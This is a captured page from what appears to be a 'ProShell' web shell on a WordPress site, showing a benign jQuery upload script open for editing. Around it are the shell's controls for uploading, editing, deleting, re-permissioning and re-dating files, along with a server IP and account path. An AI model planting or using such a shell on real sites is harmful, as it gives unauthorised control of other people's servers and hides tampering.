ProShell v2.0
Dashboard
Server Info
Server: 158.106.128.192
PHP: 8.2.33
home
planet5
public_html
bansibaba.com
wp-includes
2026-09-16 18:39:10
Editing: reupload.js
Cancel
Save Changes
// // This plugin implements the handling of Upload // works together with AdminUploadController // (function( $ ){ var methods = { init : function( options ) { return this.each(function(){ var $this = $(this); if ($this.data('reupload')) return; // the plugin has been initialized already var params = $.extend({ onChange : function() {}, onSuccess : function(info) {}, onSelect : function(){}, onSubmit : function(){} }, options); $this. data('params', params). data('reupload', 1); $this.reupload('drawUpload'); $this.data('params').onChange.call($this); }); } , drawUpload : function(){ var $this = this; $this.reupload('destroyUploader'); var $wrapper = $('<div class="upload-control"></div>'); var $uploader = $this.reupload('getUploader'); $this.before( $wrapper.append( $uploader ) ); $this.reupload('initUploader', $uploader); } , addFile: function(info) { var $this = this; if (!info.ok) { alert('Error: ' + info.error); $this.reupload('drawUpload'); return; } window.location.href = $this.data('return-url'); } , destroyUploader : function () { var $this = this; $this.closest('div').find('div.upload-control').remove(); $('#uploader-iframe-' + $this.attr('id')).remove(); $('#uploader-form-' + $this.attr('id')).remove(); } , getUploader : function () { var $this = this; var aUpload = $('<span>upload</span>'); var $uploader = $('<div class="upload-control-upload upload-control-reupload"></div>').css({ display: 'inline-block', overflow: 'hidden', 'float':'left' }).append(aUpload); return $uploader; } , initUploader : function($uploader) { var $this = this; var uploaderId = $this.attr('id'); var $input = $('<input type="file" />').attr('name', 'upload'); var $form = $('<form></form>').attr({ method : 'post', enctype : 'multipart/form-data', action : window.rootUrl + '/admin-upload/re-upload', target : 'uploader-iframe-' + uploaderId, id : 'uploader-form-' + uploaderId }).css({ margin: 0, padding: 0 }) var $input_hidden = $('<input />').attr({ name : 'id', value : $this.data('upload_id'), type : 'hidden' }) $form.append($input).append($input_hidden); var $frame = $('<iframe></iframe>').attr({ name : 'uploader-iframe-' + uploaderId, id : 'uploader-iframe-' + uploaderId }); $('body').append($form); $('body').append($frame); $frame.hide(); var $div = $input.wrap('<div></div>').parent().css({ overflow : 'hidden', width : $uploader.outerWidth(), height : $uploader.outerHeight() }).css({ position : 'absolute', 'z-index' : 10000 }); $input.css({ 'float':'right' }); $div.css({ opacity: 0 }); $input.bind('mouseover mouseout', function(){ $uploader.toggleClass('hover') }) $uploader.mousemove(function(e){ $div.css({ top: $uploader.offset().top+'px', left: $uploader.offset().left+'px' }); }); $input.change(function() { $this.data('params').onSelect.call($this); $this.data('params').onSubmit.call($this); $uploader.find('span').empty().append('Uploading...').addClass('uploading') $form.submit(); $frame.load(function() { var frame = document.getElementById($frame.attr('id')); var response = $(frame.contentWindow.document.body).text(); //console.log(response); try { response = $.parseJSON(response); } catch (e) { response = { ok : false, error : 'Error of file uploading on server side' }; } //console.log(response); //allow to complete 'load' event up to the end //before remove this element setTimeout(function(){ $this.reupload('addFile', response); }, 10); }); }); } }; $.fn.reupload = function( method ) { if ( methods[method] ) { return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 )); } else if ( typeof method === 'object' || ! method ) { return methods.init.apply( this, arguments ); } else { $.error( 'Method ' + method + ' does not exist on jQuery.upload' ); } }; })( jQuery );
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete